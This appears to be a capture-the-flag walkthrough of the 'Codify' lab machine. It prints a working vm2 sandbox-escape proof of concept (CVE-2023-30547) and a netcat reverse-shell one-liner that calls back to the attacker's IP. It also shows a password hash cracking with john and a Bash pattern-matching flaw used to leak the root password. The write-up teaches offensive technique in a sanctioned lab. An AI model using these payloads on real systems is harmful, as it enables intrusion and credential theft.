Target IP: 10.129.207.55
Challenge Description: N/A.
Performing a port scan using the command sudo nmap -sS 10.129.207.55 -p- against the target machine returns the result shown above. By the looks of it, there are three TCP ports open on the target machine. Time to perform an aggressive port scan against the three TCP ports to identify its services and gain more information.
Running the command sudo nmap -sV -A 10.129.207.55 -p 22,80,3000 against the three TCP ports returns the result shown above. There are two HTTP applications being served by the target machine: one on port 80, and another one on port 3000, as shown above. The hostname codify.htb is also detected by the scan. I will insert this hostname inside my /etc/hosts file. Time to begin with the enumeration.
Port 80: HTTP
The webpage above is displayed for this web application. It mentions the web application executes NodeJs code in the browser directly. I notice there is a button with the label Try it now. There is another hyperlink with the label limitations. Apparently the web application has some constraints for security.
And bingo! The restricted and whitelisted modules are shown above. This is crucial information. I will need to find modules that will give me command exeuction without the use of the restricted and whitelisted modules shown above.
Browsing to the About us page shows the webpage above. The web application is using the JavaScript library vm2 for sandboxing. Maybe this JavaScript library has vulnerabilities? I will need to find its version first. Pressing the vm2 hyperlink opens the Github repository with the version 3.9.16. Is the target machine using this application version?
After searching for vulnerabilities. I found it. The JavaScript library vm2 3.9.16 is vulnerable to sandbox escape, as shown above. This vulnerability has the critical severity. The CVE identifier of this vulnerability is CVE-2023-30547. This means it is possible to breakout of the sandbox environment to execute remote code in the host context.
Searching for vm2 3.9.16 module code execution, I found the website above. This website contains the PoC too. Time to test it.
The editor is shown above. This web application takes in code and executes it.
//The vm2 library provides a secure JavaScript VM (virtual machine) for Node.js.
// The VM class allows you to create an isolated environment to run JavaScript code.
const {VM} = require("vm2");
//This line creates a new instance of the VM class.
//This instance will be used to run the JavaScript code in a sandboxed environment.
const vm = new VM();
// This code is a self-contained JavaScript snippet that is wrapped as a string.
// It creates an object (err), defines a Proxy (proxiedErr),
// and then uses a combination of throw and catch to execute a payload that invokes the execSync method from the child_process module.
// The payload seems to exploit the ability to manipulate the stack trace (Error().stack) and utilizes Proxy to trigger a sequence of code execution.
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('<command>'); // replace <command> with your OS command
}`
// This line executes the JavaScript code stored in the code variable within the virtual machine created earlier.
// The result of vm.run(code) is logged to the console.
console.log(vm.run(code));//The vm2 library provides a secure JavaScript VM (virtual machine) for Node.js.
// The VM class allows you to create an isolated environment to run JavaScript code.
const {VM} = require("vm2");
//This line creates a new instance of the VM class.
//This instance will be used to run the JavaScript code in a sandboxed environment.
const vm = new VM();
// This code is a self-contained JavaScript snippet that is wrapped as a string.
// It creates an object (err), defines a Proxy (proxiedErr),
// and then uses a combination of throw and catch to execute a payload that invokes the execSync method from the child_process module.
// The payload seems to exploit the ability to manipulate the stack trace (Error().stack) and utilizes Proxy to trigger a sequence of code execution.
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('<command>'); // replace <command> with your OS command
}`
// This line executes the JavaScript code stored in the code variable within the virtual machine created earlier.
// The result of vm.run(code) is logged to the console.
console.log(vm.run(code));The PoC code is shown above. Inside the try-catch, I will need to insert my own command for the host to execute; for example, whoami or id. Time to test it now.
RCE is successful. The target machine successfully executed the commands whoami;id;ls -la, as shown above. I used the payload above, but inserted my own commands. The web application is being run by the user svc. Running ls -la also shown interesting files on the current working directory. Time to obtain a reverse shell connection now.
To obtain a reverse shell connection, I started a listener on my machine at port 8443. Then I inserted the reverse shell code rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.139 8443 >/tmp/f' inside the payload. And I successfully obtained a reverse shell connection from the target machine :) Now I have a foothold on the target machine with the session as svc, as shown above.
Below, I have included the full payload with the PoC I used to obtain the reverse shell connection too:
//The vm2 library provides a secure JavaScript VM (virtual machine) for Node.js.
// The VM class allows you to create an isolated environment to run JavaScript code.
const {VM} = require("vm2");
//This line creates a new instance of the VM class.
//This instance will be used to run the JavaScript code in a sandboxed environment.
const vm = new VM();
// This code is a self-contained JavaScript snippet that is wrapped as a string.
// It creates an object (err), defines a Proxy (proxiedErr),
// and then uses a combination of throw and catch to execute a payload that invokes the execSync method from the child_process module.
// The payload seems to exploit the ability to manipulate the stack trace (Error().stack) and utilizes Proxy to trigger a sequence of code execution.
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.139 8443 >/tmp/f'); // replace <command> with your OS command
}`
// This line executes the JavaScript code stored in the code variable within the virtual machine created earlier.
// The result of vm.run(code) is logged to the console.
console.log(vm.run(code));//The vm2 library provides a secure JavaScript VM (virtual machine) for Node.js.
// The VM class allows you to create an isolated environment to run JavaScript code.
const {VM} = require("vm2");
//This line creates a new instance of the VM class.
//This instance will be used to run the JavaScript code in a sandboxed environment.
const vm = new VM();
// This code is a self-contained JavaScript snippet that is wrapped as a string.
// It creates an object (err), defines a Proxy (proxiedErr),
// and then uses a combination of throw and catch to execute a payload that invokes the execSync method from the child_process module.
// The payload seems to exploit the ability to manipulate the stack trace (Error().stack) and utilizes Proxy to trigger a sequence of code execution.
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.139 8443 >/tmp/f'); // replace <command> with your OS command
}`
// This line executes the JavaScript code stored in the code variable within the virtual machine created earlier.
// The result of vm.run(code) is logged to the console.
console.log(vm.run(code));
I notice there is a user called joshua on the target machine. However, I am unable to access their directories as svc. After some enumeration at the web directories, I found an unusual file with the name tickets.db, as shown above. This database contains the password hash $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2 of the user joshua, as shown above. Time to crack this password hash using john.
Bingo! Using john and the command john hash --wordlist=/usr/share/wordlists/rockyou.txt, I managed to successfully crack the password hash of the user joshua. This user joshua is using the password spongebob1. Maybe I can fire these credentials against the SSH application on port 22? Time to find out.
Success! I managed to elevate my privileges from svc to the user joshua, as shown above. To achieve this, I SSHed into the target machine at port 22 via the credentials joshua:spongebob1.
Running sudo -l as the new user shows the interesting entry above. It looks like this user can execute the script located at /opt/scripts/mysql-backup.sh with root privileges.
The content of the mysql-backup.sh script is shown above. From previous knowledge, I notice the password checking is incorrect. Since the right-side comparison variable is not quoted, this will allow us to do pattern matching. This is due to the use of == inside [[ ]] in Bash. This performs pattern matching rather than a direct string comparison; for example, if * is input then the pattern match would be valid as * matches any string. The script is also directly reading the credentials of the root user from /root/.creds. To obtain the root password is possible by using pspy64. To do this, I will need two sessions: one session to run the script, and another one to run the pspy64 where I will obtain the root password. If the password matching evaluates to true, the root password is broadcasted. So this can be intercepted via pspy64 :)
And bingo! In the image above, there are two terminals with SSH sessions on the target machine as the user joshua: terminal on top is where I execute the script using the command sudo /opt/scripts/mysql-backup.sh and enter the character * as the password, and the terminal on the bottom is where I execute pspy64 to intercept the root password as this is broadcasted via the process. I transferred pspy64 to the target machine. And bingo! Now I have the root password kljh12k3jhaskjh12kjh3, as shown above. I also obtained a root shell on the target machine :) Now I have full access on the target machine.
The two flags are shown above.